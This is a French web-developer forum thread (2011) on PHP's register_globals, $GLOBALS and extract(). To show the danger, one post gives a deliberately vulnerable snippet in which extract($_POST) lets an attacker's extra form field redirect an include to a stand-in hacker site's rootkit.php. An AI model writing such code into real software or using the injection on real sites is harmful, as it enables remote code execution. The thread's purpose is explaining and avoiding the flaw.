JeuWeb - Crée ton jeu par navigateur
register_globals ? - Version imprimable

+- JeuWeb - Crée ton jeu par navigateur (https://jeuweb.org)
+-- Forum : Discussions, Aide, Ressources... (https://jeuweb.org/forumdisplay.php?fid=38)
+--- Forum : Programmation, infrastructure (https://jeuweb.org/forumdisplay.php?fid=51)
+--- Sujet : register_globals ? (/showthread.php?tid=5178)

Pages : 1 2 3


RE: register_globals ? - Argorate - 19-01-2011

Comme je le disais a Anthor, c'est une histoire de convention, tu dis que je peux écraser la valeur d'une variable? Si tu prends une convention adéquate, je te réponds que non, ce n'est pas possible (sans le faire volontairement ou être vraiment mauvais), c'est juste une histoire de convention et de rigueur.

Pour les $GLOBALS, je veux bien comprendre les failles de sécurités qui pourrait exister? (avec un exemple concret se serait bien) Quel sont les risques?


RE: register_globals ? - Jeckel - 19-01-2011

(19-01-2011, 12:38 PM)Argorate a écrit : Comme je le disais a Anthor, c'est une histoire de convention, tu dis que je peux écraser la valeur d'une variable? Si tu prends une convention adéquate, je te réponds que non, ce n'est pas possible (sans le faire volontairement ou être vraiment mauvais), c'est juste une histoire de convention et de rigueur.

Pour les $GLOBALS, je veux bien comprendre les failles de sécurités qui pourrait exister? (avec un exemple concret se serait bien) Quel sont les risques?

Le problème du $GLOBALS, c'est que l'on a jamais un vision concrête de ce qu'il y a dedans, des fonction PHP de type "extract" (http://fr2.php.net/manual/fr/function.extract.php ) peuvent te généré des variables un peu n'importe comment. Idem lors de l'inclusion d'un fichier...

Si le register_globals est à OFF, tu as déjà 90% des risques qui sont comblé.

Mettons que tu fasses un extract sur les données reçu de ton formulaire qui contient normalement un login et un mot de passe :

$__mon_chemin_racine = dirname(__FILE__) . DIRECTORY_SEPARATOR;

// On sort les données du formulaire pour l'utiliser plus facilement :
extract($_POST);

if (empty($login))
include $__mon_chemin_racine . 'html/erreur.html';


Ensuite, le petit malin s'arrange pour balancer dans le POST un champs de formulaire supplémentaire appelé "__mon_chemin_racine" et qui vaut "http://mon_site_de_hack.com/rootkit.php?dummy="

L'appel à extract va écraser ta variable de chemin racine, et l'appel à l'include donne :

include 'http://mon_site_de_hack.com/rootkit.php?dummy=' . 'html/erreur.html';

Si on avait utilisé une constante à la place, il n'y aura eut aucun risque, la constante est déclarée une fois et une seule fois. C'est d'autant plus important pour faire des inclusions de fichier, si jamais par un moyen ou par un autre la variable a été modifié en cours de route, tu ne sais plus ce que tu charges.

Voilà, c'est un exemple, mais il y a sans doute d'autre cas où l'on arrive à écraser une variable "par erreur"
Bref, mon conseil c'est que : si ta variable n'a pas de raison d'être modifiée plus tard, alors met une constante, d'une part tu es sûr qu'elle ne sera pas modifiée et d'autre part, c'est plus clair dans le code pour celui qui passe après


RE: register_globals ? - Argorate - 19-01-2011

Je ne connais pas et n'utilise pas extract(), mais je vois mal comment un $_POST peut modifier une variable normal puisqu'on a dit dans un précédant message que $_POST['TEST'] c'est $GLOBALS['_POST']['TEST']. Donc quand tu utilises $GLOBALS tu évite donc d'aller dans $GLOBALS['_POST'], logique ^^

A partir de là, je vois mal comment il peut y avoir une intrusion...?


RE: register_globals ? - Jeckel - 19-01-2011

extract permet d'extraire les données d'un tableau en créant une variable par clé :

$table = ['tutu' => 1, 'toto' => 2];
extract($table);

echo $tutu; // Affiche 1
echo $toto; // Affiche 2
echo $GLOBALS['tutu']; // Affiche $tutu soit 1

Après c'est un exemple, de toute façon a part dans de rares exception, extract est de toute façon une fonction dangereuse à utiliser.
Mais sur le principe, le PHP est très (voir trop) permissif et permet parfois de faire des choses qui serait des hérésies dans d'autre langage...

Par exemple les variables de variables :

$__mon_chemin_racine = dirname(__FILE__) . DIRECTORY_SEPARATOR;

$var = '__mon_chemin_racine';
$$var = 'chemin bidon';

echo $__mon_chemin_racine; // Affiche "chemin bidon" et non le chemin d'origine

// Ou encore :
$var = 'racine';
${'__mon_chemin_'.$var} = 'chemin encore bidon';



RE: register_globals ? - niahoo - 19-01-2011

Woah comment se prendre la tête pour rien..

Un bon conseil, ne pas toucher à $GLOBALS pour éviter des comportements bizzares.